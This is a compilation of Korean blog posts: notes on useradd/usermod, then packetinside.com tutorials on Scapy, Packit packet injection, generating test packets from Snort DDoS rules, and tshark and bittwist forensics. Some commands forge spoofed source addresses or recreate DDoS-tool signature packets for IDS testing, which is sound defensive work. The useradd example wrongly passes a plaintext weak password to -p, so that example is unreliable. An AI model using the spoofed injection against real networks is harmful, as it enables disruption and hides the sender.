관련커맨드 : useradd, usermod, /etc/passwd, /etc/shadow, /etc/default/useradd
 

/etc/default/useradd (사용자를 추가할때 기본설정환경을 부여해주는 파일) 

# useradd defaults file
GROUP=100
HOME=/home
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel<?-ml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /><?XML:NAMESPACE PREFIX = O />

 
GROUP 100 : 기본적으로 사용자/그룹 같게 생성.
HOME=/home : 홈디렉토리
INACTIVE=-1 : 사용자생성시 패스워드생성하지않았을때 Lock를 걸어준다는 기본설정옵션(변경시 0,1로 변경)
EXPIRE : 패스워드 만료시간(공백은 기본설정 기본 : 99999)
SHELL=/bin/bash : 기본 쉘 설정
SKEL=/etc/skel : 기본 사용자에 대한 설정

 

[root@host3 root]# ls -l /usr/sbin/adduser 

lrwxrwxrwx 1 root root 7 8월 28 02:29 /usr/sbin/adduser -> useradd

[root@host3 root]#

 

 useradd

[-c comment] 코멘트
[-d home_dir] 사용자디렉토리
[-e expire_date] 유효기간
[-f inactive_time] 비활성일수 - 패스워드 만료후 계정이 영구히 말소될때까지의 기간
[-g initial_group] 기본그룹
[-G group[,...]] 보조그룹
[-m [-k skeleton_dir] | -M] - 사용자 디렉토리가 존재하지 않을때만 생성
[-p passwd]
[-s shell] 
[-u uid [ -o]] 
[-n] 사용자 계정추가 기본모드를 지정하지 않을때 
[-r] login

[root@host3 root]# useradd -c 박성수 -e 2004-12-12 -d /home/sspark2 -u 601 -s /bin/ksh -p 12345 sspark2

위에서 사용한 옵션을 간단히 설명하면 다음과 같다.

 . -c 박성수 : 계정사용자의 간단한 설명
 . -e 2004-12-12 : 계정사용 종료일자
 . -d /home/sspark2 : 홈디렉토리 위치
 . -u 601 : UID 601로 지정
 . -s /bin/ksh : 사용할 기본쉘을 Korn Shell로 지정
 . -p 12345 : 패스워드를 12345로 지정
 . -D : 현재 default로 설정 되어 있는 값들을 보여줌 (/etc/default/useradd 에 정의)
 . sspark2 : 생성할 계정명
[root@s92 ~]#

 

 usermod

[-c comment]
[-d home_dir [ -m]]
[-e expire_date] 
[-f inactive_time]
[-g initial_group] 
[-G group[,...]]
[-l login_name] [-p passwd]
[-s shell] 
[-u uid [ -o]] 
[-L|-U] login

'Server' 카테고리의 다른 글

nslookup, dig 사용하기  (0) 2017.01.08
umask란?  (0) 2017.01.08
이메일 오픈릴레이 테스트  (0) 2017.01.08
실제예(passwd명령어)로 SetUID, SetGID 이해하기  (0) 2017.01.08
iptables  (0) 2017.01.08
Scapy

지금까지 패킷분석과 관련한 많은 도구들을 언급하였는데, 이 도구를 미처 소개하지 못했다.
강력한 기능과 프로그램적인 면에서도 뛰어난 도구인데말이다. 필자가 오늘 소개하고자 하는 도구는
Scapy 라는 것이다. Scapy 는 인터렉티브하게 패킷을 조작할 수 있는 강력한 기능을 제공하며,
수 많은 프로토콜의 디코딩 기능과 수정된 패킷을 전송할 수 있는 기능등을 포함하고 있다.

이 도구의 큰 장점은 다양한 기능을 수행할 수 있는 것인데, 우리가 흔히 스캐닝을 하거나, 패킷덤프를
하거나, 원격 시스템의 Alive 유무를 점검 또는 공격 패킷등을 만들고자 할때 사용하는 도구들이
다 달라진다. 예를 들면, hping, nmap, arpsoof, tcpdump, tshark, p0f 등의 여러 도구의 기능들 말이다
하지만 Scapy 는 이 도구 하나로 가능하다. 너무 강력한 도구인양 소개한 것일까?

사용용도에 따라 달라지겠지만 무척이나 편리한 기능을 갖고 있는 것은 사실이다. 다만 사용하는데 있어서는
일반적인 도구에 비해서는 사용방법이 처음에는 힘들 수도 있다. Scapy 는 파이썬을 기반으로
작성되어 있는데, 사용형태가 파이썬에서 코드를 사용하는 것과 같이 사용할 수 있으므로
파이썬에 익숙해져 있는 사용자라면 더 없이 편할 것이다. 또한, Scapy 모듈을 이용하여,
파이썬에서 패킷을 핸들링 하는 프로그램을 작성한다면 간단하게 그 기능을 이용할 수 있어
개발자 관점에서도 유용하다.

뛰어나다는 설명보다도 일단 직접 경험해 보는 것이 빠르다.  바로 설치해 보고 각 기능을
사용해 보면 앞서 얘기한 것들이 이해가 될 것이다.

1. 설치

Scapy 2.x 이상의 버전에서는 파이썬 2.5 이상이 필요하다. 그리고 libpcap, libdnet 이 필요하다.
보통 많은 경우에는 이런것들이 이미 설치되어 있으므로 사용하는데 큰 문제는 없을 것이다.

다음의 경로에서 파일을 다운로드 받을 수 있다:


$ unzip scapy-latest.zip
$ cd scapy-2.*
$ sudo python setup.py install

하는 것으로 쉽게 설치가 된다. 파이썬에 익숙한 사용자라면 어렵지 않을 것이다. 또는,
각 시스템에서 제공하는 패키지가 있다면 그것을 이용해도 좋다.

# apt-get install scapy

* 참고로 윈도우 기반에서 사용하고자 한다면, 다음의 문서를 참고하여 실행해 보길 바란다.

2. 간단한 사용 예

실행하게 되면 다음과 같은 화면을 볼 수 있다.

# scapy
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.1.0)
>>>

(설치되어 있는 모듈 및 환경에 따라, 경고 메시지가 뜰 수 있는데 무시하고 사용 가능하다.단, 해당 모듈 기능을 사용하지 않는 한)

몇 가지 간단한 기능을 살펴보자!

>>> ls()
ARP        : ARP
BOOTP      : BOOTP
CookedLinux : cooked linux
DHCP       : DHCP options
DNS        : DNS
DNSQR      : DNS Question Record
DNSRR      : DNS Resource Record
....
현재 지원하는 레이어 형태를 볼 수 있다. 쉽게 보면 프로토콜 이다.

다음은 존재하는 PCAP 파일을 오픈하는 것이다. 오픈할 파일을 " 없이 사용하는 경우는 다른 형태로 이해한다.
오픈 후에는 파싱되어 메모리 상에 다 들어가 있으므로 바로 바로 필요한 내용을 꺼내 사용할 수 있다.

>>> a=rdpcap(test.pcap)
Traceback (most recent call last):
  File "<console>", line 1, in <module>
NameError: name 'test' is not defined
>>> a=rdpcap("test.pcap")
>>> a
<test.pcap: TCP:2040 UDP:0 ICMP:0 Other:0>
>>>

파일 전송도 할 수 있는데, 원하는 형태로 마음대로 수정하여 전송이 가능하다. 각 프로토콜 레이어 별로 정보를 기록하고 헤더를 붙일 수 있다. 아래의 경우는 IP 헤더에서 목적지를 1.2.3.4 로 설정하고, ICMP 헤더를 붙인 것이다.

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.

전송하기 전 tcpdump 로 확인한 내용을 보면, 목적지 1.2.3.4 로 ICMP 패킷이 전송된걸 확인할 수 있다.

# tcpdump -v icmp
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
09:07:36.479199 IP (tos 0x0, ttl 64, id 1, offset 0, flags [none], proto ICMP (1), length 28) packet > 1.2.3.4: ICMP echo request, id 0, seq 0, length 8

이 정도에서 간단한 맛보기를 언급하고 다음 이어지는 두번째 편에서 좀더 세부적으로 Scapy 기능을 알아보도록 하겠다. 계속 이것저것 소개할 것이 많은데, 정리하고 쓰자니 시간이 꽤 걸리는 거 같다. 이래서 정리는 인내가 필요해지는 것 같다 :-)
 


<script type="text/javascript" src="http://ss.textcube.com/service/blog/script/blogger.js"></script>

네트워크 패킷을 인젝션하고 캡쳐할 수 있는 도구 Packit(Packet toolkit) 을 소개한다.
앞서 소개했던 많은 도구들과 같이 인젝션하기에 유용한 도구이다.

TCP,UDP,ICMP,IP,ARP,RARP 그리고 이더넷 헤더등 거의 모든 것을 정의할 수 있어,
방화벽, 침입탐지시스템, 트래픽 테스트와 같은 곳에 이용할 때 유용하게 사용될 수 있을 것이다.
Packit 의 버전은 현재 1.0 이며 설치를 하기 위해서는 libnet 1.1.2 이상의 라이브러리와
libpcap 라이브러리또한 필요하다.

소스파일의 다운로드는 다음의 경로에서 할 수 있다:

APT 패키지 사용자라면,
# apt-get install packit 으로 쉽게 설치도 가능하다.

사용에는 큰 어려움이 없으나, 다만 옵션이 상당히 많다. 이 뜻은 세부적으로
정의할 수 있다는 뜻이된다. 기본 사용방법은 아래와 같다:

usage: packit -m mode [-options] 'expression'

사용할 때 모드가 있다는 것을 주의해야 하는데, 모드에 따라서 옵션이 달라지기 때문이다.
옵션에는 capture, inject, trace 가 있으며 기본모드는 inject 이다.

1. 패킷 캡쳐

자주 사용할 만한 패킷 캡쳐 옵션 몇가지를 정리해 보면 아래와 같다

-c count 캡쳐할 카운트 수를 지정
-e 링크 레이어 헤더 데이터 출력
-i interface 네트워크 인터페이스 지정
-n 호스트 주소를 이름으로 변환하지 않음
-r file 패킷을 읽을 파일 지정
-s snaplen 패킷 캡쳐할 snaplen 데이터 사이즈 정의 (기본:68 바이트)
-w file 패킷 파일 저장
-X 헥사와 아스키로 데이터 출력

사용 옵션들을 보면 패킷인사이드에서 여러번 다뤘던 도구들과 큰 차이는 없다.
특히 tcpdump 에 익숙하다면 더욱 그럴것이다.

사용예제>

#packit -m capture -c 100 -i eth0 -w /data/packetinside.pcap
#packit -m cap -nX 'tcp and port 80'

2. 패킷 인젝션

기본적으로 인젝션 되는 패킷의 옵션은 아래와 같으며, 옵션만 봐도 크게 어렵지는 않다.

-t protocol 인젝트할 프로토콜 타입 지정 : TCP, UDP, ICMP, ARP (기본은 TCP)
-c count 인젝션에 몇 개의 패킷을 사용할 것인지 정의
-i interface 네트워크 인터페이스
-w interval 각 패킷을 보내는 간격 시간 (기본 : 1초)
-h 패킷을 보낸 후, 응답을 프린트 해줌 * 필요에 따라 유용한 기능
-v Verbose 모드로 세부적으로 정보를 출력함
-p payload 인젝션 할 페이로드를 지정, HEX 는 '0x' 로 시작하며 각 값의 구분은 공백으로 함
ASCII : -p 'hello world, packetinside.com'
HEX: -p '0x 40 40 40 90 90 90 0d 0a'
-Z length 인젝트할 패킷의 사이즈 정의

-t 로 프로토콜을 지정한 후 각 프로토콜 마다 사용가능한 옵션을 이용하면 되는데
IP,TCP,UDP,ICMP,ARP,이더넷 헤더 옵션을 가지고 있다.
여기서 각 옵션을 일일이 설명하기는 힘들고, packit 의 간단한 도움말을 보면 쉽게 알 수 있다.

TCP/UDP header options
  -a ack      Acknowledgement number
  -D port     Destination port (Range format: start-end)
  -F flags    Flags (format: -F UAPRSF)
  -q seq      Sequence number
  -S port     Source port (Default: Random)
  -u urg      Urgent pointer
  -W size     Window size (Default: 65535)

ICMPv4 header options
  General:
  -C code     Code (Default: 0)
  -K type     Type (Default: 8)

  Echo(0) / Echo Reply(8):
  -N id       ID number
  -Q seq      Sequence number

  Unreachable(3) / Redirect(5) / Time Exceeded(11):
  -g gateway  Redirect gateway host (ICMP Redirect only)
  -j address  Original source address
  -J port     Original source port
  -l address  Original destination address
  -L port     Original destination port
  -m ttl      Original time to live
  -M id       Original ID number
  -O tos      Original type of service
  -P proto    Original protocol (Default: UDP)

  Mask Request(17) / Mask Reply(18):
  -N id       ID number
  -Q seq      Sequence number
  -G mask     Address mask

  Timestamp Request(13) / Timestamp Reply(14):
  -N id       ID number
  -Q seq      Sequence number
  -U ts       Original timestamp
  -k ts       Recieved timestamp
  -z ts       Transmit timestamp

IP header options
  -d address  Destination address
  -f          Don't fragment
  -n id       ID number
  -o tos      Type of service
  -s address  Source address
  -T ttl      Time to live (Default: 128)
  -V ipproto  IP protocol number (RAWIP only)

ARP header options
  -A op       Operation type (Default: 1 (ARP request))
  -x address  Source protocol address
  -X hwaddr   Source hardware address
  -y address  Destination protocol address
  -Y hwaddr   Destination hardware address

Ethernet header options
  -e ethaddr  Source ethernet address
  -E ethaddr  Destination ethernet address

옵션은 위와 같으며, 패킷인사이드 블로그를 열심히 보신 분들이라면 옵션을 이해하는데 
어려움이 없을 것이다. 몇가지 예제를 보도록 하자.

다음은 출발지 소스는 8.8.1.1 로 하고 목적지는 192.168.0.1 로 보내는데 총 10개의 패킷을
보낸다. -h 옵션은 응답도 출력하도록 한 것이다. -h 옵션이 주어지지 않으면,
단순히 전송하는 정보만 출력할 것이다.

# packit -t icmp -s 8.8.1.1 -d 192.168.0.1 -c 10  -h
Mode:  Packet Injection using device: eth1

-| SND 1 |------------------------------------------------------------------

Timestamp:   10:28:54.469954
ICMP header: Type: Echo Request(8)  ID: 5854  Seqn: 56577  
IP header:   Src Address: 8.8.1.1  Dst Address: 192.168.0.1
    TTL: 128  ID: 53261  TOS: 0x0  Len: 28  

-| No Response From Peer |--------------------------------------------------

아래는 TCP 패킷을 보내는 것으로 목적지 포트 80에 TTL은 111 그리고 페이로드는 0x40 을
보낸 것이다.

# packit -t TCP -s 192.168.0.253 -d 192.168.0.200 -S 403 -D 80 -T 111 -p '0x 40'
Mode:  Packet Injection using device: eth1

TCP header:  Src Port: 403  Dst Port(s): 80  Flag(s): None
    Window: 65535  
IP header:   Src Address: 192.168.0.253  Dst Address: 192.168.0.200
    TTL: 111  ID: 49354  TOS: 0x0  Len: 41  

Writing packet(s) (1): .

-| Packet Injection Statistics |--------------------------------------------
Injected: 1  Packets/Sec: 1.0  Bytes/Sec: 41.0  Errors: 0

그리고 다음은 ARP 패킷을 만들어 전송한 것이다. 우선 -t 로 ARP 타입을 지정해 주고
-A 1 은 ARP Request 를 뜻하고 -x 는 보내는 IP 주소 -X 보내는 이더넷 주소를 정의한 것이다.

# packit -t arp -A 1 -x 1.2.3.4 -X 5:4:3:2:1:0  
Mode:  Packet Injection using device: eth1

ARP header:  Type: Request(1)
    Sender:  Protocol Address: 1.2.3.4  Hardware Address: 5:4:3:2:1:0
    Target:  Protocol Address: 0.0.0.0  Hardware Address: 0:0:0:0:0:0


Writing packet(s) (1): .

-| Packet Injection Statistics |--------------------------------------------
Injected: 1  Packets/Sec: 1.0  Bytes/Sec: 42.0  Errors: 0

여기서는 간단한 형태로만 만들어 패킷을 전송하지만, 사용하고자 하는 목적에 따라서
다양하게 만들어 볼 수 있다. 옵션을 여러개 사용하여 복잡해 보이지만,
막상 사용해 보면 옵션등이 사용하려는 목적을 대충 추정해 볼 수 있어 심플하게 패킷을 전송할 수 있다.

여기 블로그에서 언급한 많은 도구들 중에서 어떤것이 자기에게 더욱 적합한지는 여러분들이 판단하길 바란다
 


IDS 로 많이 사용중인 오픈소스 스노트가 있다. 스노트로 제작된 관련 탐지 룰도 많이 찾아 볼 수 있고, 실제 무료/상업용 침입차단 패턴이 이 스노트 형태의 기반이 많다. 여기서 스노트를 다룰 것은 아니다. 다만, 패킷 분석이 많이 사용되는 영역중에 하나로 어떤 위협을 차단/탐지 하기 위한 패턴 작성을 빼 놓을 수 없다.

네트워크 상에서 흘러다니는 트래픽을 정확히 분석 판단하고 어떤 부분을 패턴으로 뽑아내어 사용할 것인가는 단순한 것부터 복잡한 것까지 다양하다.

시그너처 패턴 작성 후 올바로 탐지하는 것을 테스트 하기 위해 트래픽을 재 전송해 보고 한다. 이미 여기서 언급한 tcpreplay 나 기타 도구를 이용해 재전송해보는 것으로 내가 만든 패턴이 올바른지 확인할 수 있다.

앞서 소개한 PackIt 도구에서 유용한 유틸리티가 하나 있다. 그것은 스노트 룰을 PackIt 명령어로 만들어, 패킷을 전송할 수 있도록 도와주는 것이다. 스노트 룰의 QA 등과 같은 업무에는 나름 유용하게 사용할 수 있을 것이다.

다운로드는 다음의 경로에서 가능하다.

http://packetfactory.openwall.net/projects/packit/s2pgen.pl

이 파일은 펄(Perl) 스크립트로 간단히 만들어져 있는 것으로 룰 파일을 지정하면, packit 으로 검증해 볼 수 있게 명령어를 만들어 준다. 파일을 열어 첫 시작부분을 보면 주소 설정을 정의하는 부분이 있다. 시그너처 파일에서 룰을 읽어들여 파싱할때 필요한 기본 정보이다. 이 정보들만 여러분들의 네트워크 상황에 맞게끔만 조절하여 사용하면 된다.


# Defaults
$DEFAULT_PACKIT     = "packit";
$DEFAULT_ADDR       = "10.0.0.1";
$DEFAULT_DATA       = "R";

# Host/Port definitions
$EXTERNAL_NET_ADDR  = "10.0.0.1";
$HOME_NET_ADDR      = "192.168.0.4";
$HTTP_SERVER_ADDR   = "192.168.0.2";
$SQL_SERVER_ADDR    = "192.168.0.3";
$SMTP_SERVER_ADDR   = "192.168.0.4";
$TELNET_SERVER_ADDR = "192.168.0.5";
$AIM_SERVER_ADDR    = "192.168.0.6";
$ORACLE_PORT        = "1521";
$HTTP_PORT          = "80";
$SHELLCODE_PORT     = "81";

우선 스노트에서 제공하는 기본 룰 파일중 하나인 ddos.rules 파일을 가지고 만들어 보면 아래와 같다 :


# ./s2pgen.pl ddos.rules
echo

echo DDOS TFN Probe
packit -t icmp -s10.0.0.1 -d192.168.0.4 -p "0x 31 32 33 34" -SR -DR    -K 8  -N 678

echo DDOS tfn2k icmp possible communication
packit -t icmp -s10.0.0.1 -d192.168.0.4 -p "0x 41 41 41 41 41 41 41 41 41 41" -SR -DR    -K 0  -N 0

echo DDOS Trin00 Daemon to Master PONG message detected
packit -t udp -s10.0.0.1 -d192.168.0.4 -p "0x 50 4f 4e 47" -SR -D31335 

echo DDOS TFN client command BE
packit -t icmp -s10.0.0.1 -d192.168.0.4  -SR -DR    -K 0  -N 456 -Q 0


packit 을 통해 보내기 전 echo 로 어떤 패킷인지 출력해 주고 packit 명령어로 전송할 패킷 정보를 만들어 준다. 그리고, 스노트에서 탐지가 되는지 확인해 보면 된다.

시그너처 제작 업무를 하는 이들에겐 나름 도움이 될 것이다. 또는 이를 변형하여 원하는 형태의 도구를 이용하여 만들어보는 것은 어떨까?
 

// www.packetinside.com/search?updated-max=2011-01-01T21:14:00%2B09:00&max-results=7 


tcpdump 에서 -xX 와 같이 출력되는 형태의 데이터를 가져오고자 한다.

$ tcpdump -xX -n -r test.pcap

에서 출력되는 다음의 내용을 대상으로 가정해 보겠다.


0x0000:  4500 003e 344e 4000 4011 5d49 c0a8 00f0  E..>4N@.@.]I....
0x0010:  a87e 3f01 bddb 0035 002a 7cef 8555 0100  .~?....5.*|..U..
0x0020:  0001 0000 0000 0000 0377 7777 0667 6f6f  .........www.goo
0x0030:  676c 6502 636f 026b 7200 001c 0001       gle.co.kr.....

대략 추정되는 것과 같이 DNS  패킷이다.  자, 그럼 일단 Scapy 를 실행하고 'IP(import_hexcap())' 를 이용해서 패킷 HEX 데이터를 로드해 보자. tcpdump 의 텍스트 내용을 복사하고 import_hexcap() 를 수행후 그 상태에서, 바로 붙여 넣기를 한다. 그리고 Ctrl+D 를 누른다. Ctrl+C 를 누르면 안된다. 붙여 넣기가 완료되면 그 아래에 바로 해당 값들이 변환되어 Scapy 에서 보기 쉽게 표현해 준다.

Welcome to Scapy (2.1.0)
>>> IP(import_hexcap())
        0x0000:  4500 003e 344e 4000 4011 5d49 c0a8 00f0  E..>4N@.@.]I....
0x0010:  a87e 3f01 bddb 0035 002a 7cef 8555 0100  .~?....5.*|..U..
0x0020:  0001 0000 0000 0000 0377 7777 0667 6f6f  .........www.goo
0x0030:  676c 6502 636f 026b 7200 001c 0001       gle.co.kr.....
^D
<IP  version=4L ihl=5L tos=0x0 len=62 id=13390 flags=DF frag=0L ttl=64 proto=udp chksum=0x5d49 src=192.168.0.240 dst=168.126.63.1 options=[] |<UDP  sport=48603 dport=domain len=42 chksum=0x7cef |<DNS  id=34133 qr=0L opcode=QUERY aa=0L tc=0L rd=1L ra=0L z=0L rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.google.co.kr.' qtype=AAAA qclass=IN |> an=None ns=None ar=None |>>>
>>>


한눈에 보기 쉽게 정리가 된다. 자, 그럼 이제 무엇을 할 수 있겠는가? 이렇게 로드가 되었다면 이제 이 데이터는 내 마음대로 수정이 가능한 것이다. 데이터는 원하는 형태로 조정하고 전송시킬 수도 있게 되는 것이다. 예를 들어, 아래 그림과 같이 _.show() 해서 보면 패킷 구조를 한눈에 쉽게 파악할 수도 있다.


만약 특정 값을 수정한다면 아래와 같이 쉽게 할 수도 있다. 로드한 값을 a 에 저장하고 UDP 의 목적지 포트인 53을 9999로 변경해 보고 확인한 것이다.

>>> a[UDP].dport
53
>>> a[UDP].dport = 9999
>>> a
<IP  version=4L ihl=5L tos=0x0 len=62 id=13390 flags=DF frag=0L ttl=64 proto=udp chksum=0x5d49 src=192.168.0.240 dst=168.126.63.1 options=[] |<UDP  sport=48603 dport=9999 len=42 chksum=0x7cef |<DNS  id=34133 qr=0L opcode=QUERY aa=0L tc=0L rd=1L ra=0L z=0L rcode=ok qdcount=1 ancount=0 nscount=0 arcount=0 qd=<DNSQR  qname='www.google.co.kr.' qtype=AAAA qclass=IN |> an=None ns=None ar=None |>>>


Scapy 의 활용도는 무궁무진 하다. 패킷 데이터를 쉽고, 간단하게 처리할 수 있으니 이 얼마나 편하던가 :-) 앞으로도 Scapy 기능에 대해서 가끔씩 소개할 예정이다.

// www.packetinside.com/search?updated-max=2011-06-02T00:51:00%2B09:00&max-results=7



예전에 검색하다 Tcpdump 필터를 하나 발견한 것이 있다. AWK 로 제작한 간단한 스크립트로 Tcpdump 의 출력내용을 awk 로 파싱하여 좀더 보기 쉽게 출력한 것이다. 다음은 일반적으로 tcpdump 를 통해 출력한 내용의 일부분이다.

# tcpdump -i eth0 -s1550 -x


09:26:19.571231 IP 202.131.29.71.www > 192.168.15.11.60478: . 1:1461(1460) ack 658 win 6570
0x0000:  4500 05dc 89d8 4000 3406 ffc5 ca83 1d47
0x0010:  c0a8 0f0b 0050 ec3e b64f e2ba e85c e4e9
0x0020:  5010 19aa 1b94 0000 4854 5450 2f31 2e31
0x0030:  2032 3030 204f 4b0d 0a44 6174 653a 204d
0x0040:  6f6e 2c20 3131 204a 756c 2032 3031 3120
0x0050:  3133 3a32 363a 3137 2047 4d54 0d0a 5365
0x0060:  7276 6572 3a20 4170 6163 6865 0d0a 4c61



물론 -X 옵션과 같은 몇 가지를 조합하면 ASCII 값도 출력시키면서 조금은 더 보기 좋게 볼 수 있다. 여기서 소개하는 것을 이용하면 아래 화면과 같은 형태로 출력된다.


상단에 헤더정보가 요약되어 보이고 다음에 스트링 문자열을 보여준다. 사용방법은 아래 경로에서 스크립트를 다운로드 받고,

# tcpdump -i eth0 -l -s 65535 -x | fil

과 같이 사용하면 된다. 그냥 간단히 덤프하는 출력 내용을 fil 로 전달하는 것 뿐이다.

http://www.ishiboo.com/~danny/Projects/tcpdump.awkfilter/fil

요새는 워낙 좋은 도구들이 많이 나와있다보니 이런 필터가 큰 의미가 있을까 하는 분들도 있을 것이다. 나또한 이 필터의 직접 적인 출력 내용보다도 이런 방식으로 활용할 수 있다는 것을 여러분들에게 소개해 주고 싶은 것이다. Awk 로 만들어져 있지만, 이외에도 다양한 스크립트를 이용할 수 있다.  업무에 따라, 필요로 하는 정보가 조금씩 달라진다. 그럴때 나에게 맞는 도구를 간단히 만들어 응용해 보면, 더욱 효과적인 패킷 분석이 가능해 진다.  꼭, 어렵게 생각할 필요는 없다. 기존에 나와있는 도구를 잘 응용하면 여러분이 원하는 도구로 쉽게 만들어 버릴 수 있다는 사실을 잊지말자!

P.S 처음 받아서 실행해 보면, 출력이 제대로 되지 않아 살펴보았다. fil 필터를 열어보면 다음과 같은 시작부분에서 startip 를 0 에서 1로 변경하였다. 그냥 실행시 제대로 정보가 출력되지 않아, 프로토콜 번호를 찍어보니 엉뚱한 것이 찍히고 있었고, 코드를 확인결과 startip 만 살짝 바꾸면 위와 같이 출력이 된다.


BEGIN {
        BIGENDIAN = 0
        margin="   "
        startip=1
        FS = " "
}

 

// www.packetinside.com/search?updated-max=2011-07-25T12:25:00%2B09:00&max-results=7

안랩코어에서 발표한 '개발자도 알아야 할 네트워크 포렌식' 의 사용한 명령어들에 대해서 정리해 드리기로 하였습니다. 시연때 보여드렸던 명령어와 시간이 부족하여 소개해 드리고 싶었지만 하지 못했던 내용도 몇가지 추가하여 요약해 보고자 합니다.

간단히 사용명령어 들에 대해서 나열해 드리고, 추가적인 세부 설명이 필요한건
따로 주제로 빼서 다시 언급해 드리고자 합니다. 대부분의 많은 내용들은
이미 블로그에 포스팅 되어 있으므로 자세한 것은 블로그 내용을 참고해 보시면 됩니다.

일단, 초반에 보여드렸던 안드로이드 폰에서의 패킷덤프 잘 보이지 않았죠?
이것은 다음 링크를 보시면, 안드로이드 관련한 주제로 살펴볼 수 있습니다.
http://www.packetinside.com/search/label/android

TCP Connection Tunnel using ICMP 부분은 패킷 덤프만을 잠깐 보여드렸는데,
ptunnel 이라는 프로그램을 통해서 캡쳐한 것입니다. 이것은 추후 다시 방법을
세부적으로 소개해 드릴 예정입니다.

회사에서 운영중인 '패킷센터' 에 대해서도 더 보여드리고 싶었지만, 이것은
나중에 기회가 되면 더 소개해 드릴 시간이 있겠죠? 보관중인 패킷만 해도
국내에서 최대가 아닐까요? ^^ 이런 데이터를 통해 다양한 리서치를 진행하고 있습니다.

수집된 패킷파일에서 100기가 패킷 파일을 잠깐 언급해 드렸는데, 다음 포스팅을 참고해 보세요.

100 기가 가 넘는 패킷 파일이라고 ?


다양한 도구가 나열되어 있는 페이지에서는,
많은 것을 소개해 드리고 싶었지만 여건상 와이어샤크 정도만 소개해 드렸습니다.
일단 블로그에서 검색해 보셔도 많은 도구가 이미 언급되어 있는데,
몇 가지만 보면 아래와 같습니다.

[1] IPLocation 을 이용한 위치 추적

# ruby1.8 iploc.rb -r test.pcap

IP 주소의 위치정보를 활용하여 멋진 그래프 만들기

[2] Wireshark 기능 일부 소개

GeoIP 를 이용한 위치 정보 지정은 다음 블로그를 참고하면 됩니다.

와이어샤크에서 위치정보 이용하기 - 접속국가를 쉽게 알 수 있다면...

이외 HTTP 를 통한 데이터 오브젝트를 쉽게 추출하기 위한 방법은
메뉴에서 File->Export->Objects->HTTP 를 선택하면 됩니다.

[3] Tshark 기능 소개

블로그에서는 세부적으로 많이 다루지 않은 것인데요, 조만간 따로 언급해 드리겠습니다.
다량의 패킷파일을 포렌식 한다는 측면에서 보면 Tshark 가 상당히 유용하게 이용될 수 있습니다.
커맨드 기반으로 실행될 수 있으므로, 원하는 데이터만 쉽게 추출하여
스크립트화 시키면 다량의 패킷파일을 대상으로 포렌식이 쉬워집니다. GUI 상에서 할 수 있는
대부분의 많은 것들을 커맨드 기반으로 해서 얻을 수 있다는 점이 큰 매력입니다.

몇 가지 사용예를 언급해 봅니다.

# tshark -V -r test.pcap
# tshark -r test.pcap -e ip.src -e ip.dst -Tfields -E separator=,
IP 요청 주소와 DNS 쿼리 네임을 출력하는 것입니다.
# tshark -r test.pcap -e ip.src -e dns.qry.name -E separator=";" -Tfields dns
192.168.0.240;www.google.co.kr
168.126.63.1;www.google.co.kr
.
.

패킷 파일에서 HTTP TOP URL 을 뽑아내는 것입니다.

# tshark -r test.pcap -R http.request -T fields -e http.host -e http.request.uri | sed -e 's/?.*$//' | sed -e 's#^
\(.*\)\t\(.*\)$#http://\1\2#' | sort | uniq -c | sort -rn | head

# tshark -r test.pcap -Tfields -e ip.src -e http.user_agent -R "http.user_agent"

# tshark -r test.pcap -q -z ip_hosts,tree
===================================================================
 IP Addresses           value        rate     percent
-------------------------------------------------------------------
 IP Addresses            134       0.043431               
  192.168.0.240           134       0.043431         100.00%
  168.126.63.1             16       0.005186          11.94%
  72.14.213.99             55       0.017826          41.04%
  74.125.127.102            7       0.002269           5.22%
  72.14.213.103            32       0.010372          23.88%
  72.14.213.100            24       0.007779          17.91%

===================================================================

# tshark -r test.pcap -q -z conv,tcp

[4] bittwist
  
패킷파일 편집 및 생성으로 아주 유용한 도구 입니다.

- bittwist  : PCAP 기반의 패킷 생성기
- bittwistb : PCAP 기반의 이더넷 브릿지
- bittwiste : PCAP 파일 에디터

test.pcap 데이터를 dummy0 인터페이스로 전송시킨 것입니다.
bittwist -i dummy0 test.pcap

이것은 tcpreplay 인 다음과 같은 결과입니다.

tcpreplay -t -i dummy0 test.pcap

1) 패킷에서 1-2 까지만의 패킷을 뽑아내 저장해 보자.

# bittwiste -I test.pcap -O rigel.pcap -R 1-2

2) IP 를 변경해 보자.
# bittwiste -I test.pcap -O test2.pcap -R 1 -T ip -s 192.168.1.5,192.168.50.50

3) 포트번호 변경 
# bittwiste -I test2.pcap -O test3.pcap -T udp -d 53,8080

4)  페이로드 데이터 입력
echo "ahnlab_core" | xxd
bittwiste -I test2.pcap -O test3.pcap -L 4 -X 61686e6c61625f636f7265 -T udp
tcpdump -r test3.pcap -XX

Bit-Twist 로 패킷파일의 편집과 생성까지 자유자재로..

[5] Scapy

패킷파일을 프로그래밍 하는 관점에서 아주 유용한 도구입니다.

a=rdpcap("test.pcap")
>>> a
>>> a.nsummary()
>>> a[5].show()
>>> hexdump(a[5])
>>> lsc()
>>> b=Ether()/IP(dst="192.168.1.1")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>> b
<Ether  type=0x800 |<IP  frag=0 proto=tcp dst=192.168.1.1 |<TCP  |<Raw  load='GET /index.html HTTP/1.0 \n\n' |>>>>

'Scapy' 레이블을 보시면, Scapy 의 기본적인 것을 배워볼 수 있는 세가지의 이야기가 있습니다.

http://www.packetinside.com/search/label/scapy


[6] Tcpdpriv

패킷파일을 분석 의뢰할때 민감한 정보가 포함되어 있는 경우가 있습니다. 예를들어, 사내 IP
가 해당될 수도 있겠지요.

# ./tcpdpriv -A 50 -P 99 -w test2.pcap -r test.pcap

-A 는 IP 주소 변경
-P 는 포트 번호
0 은 최대한 Private 한 것이고 99 는 정보를 보여주는

패킷파일의 민감한 정보를 지우고 전달하고자 하는 경우에는 이 방법을!


[7] 텍스트 내용을 PCAP 파일로 -  text2pcap

text2pcap 을 이용하면 텍스트 내용도 PCAP 파일로 변환할 수 있습니다. 때로는
분석과정에서 유용하답니다.

-l Link 레이어 타입 지정 (기본은 이더넷이다)
-e <l3pid> -e 옵션 뒤에 이더넷 헤더를 지정할 수 있다. -e 0x806 이면 ARP 패킷을 뜻한다.
-i <proto> 프로토콜을 지정
-m 최대 패킷 길이
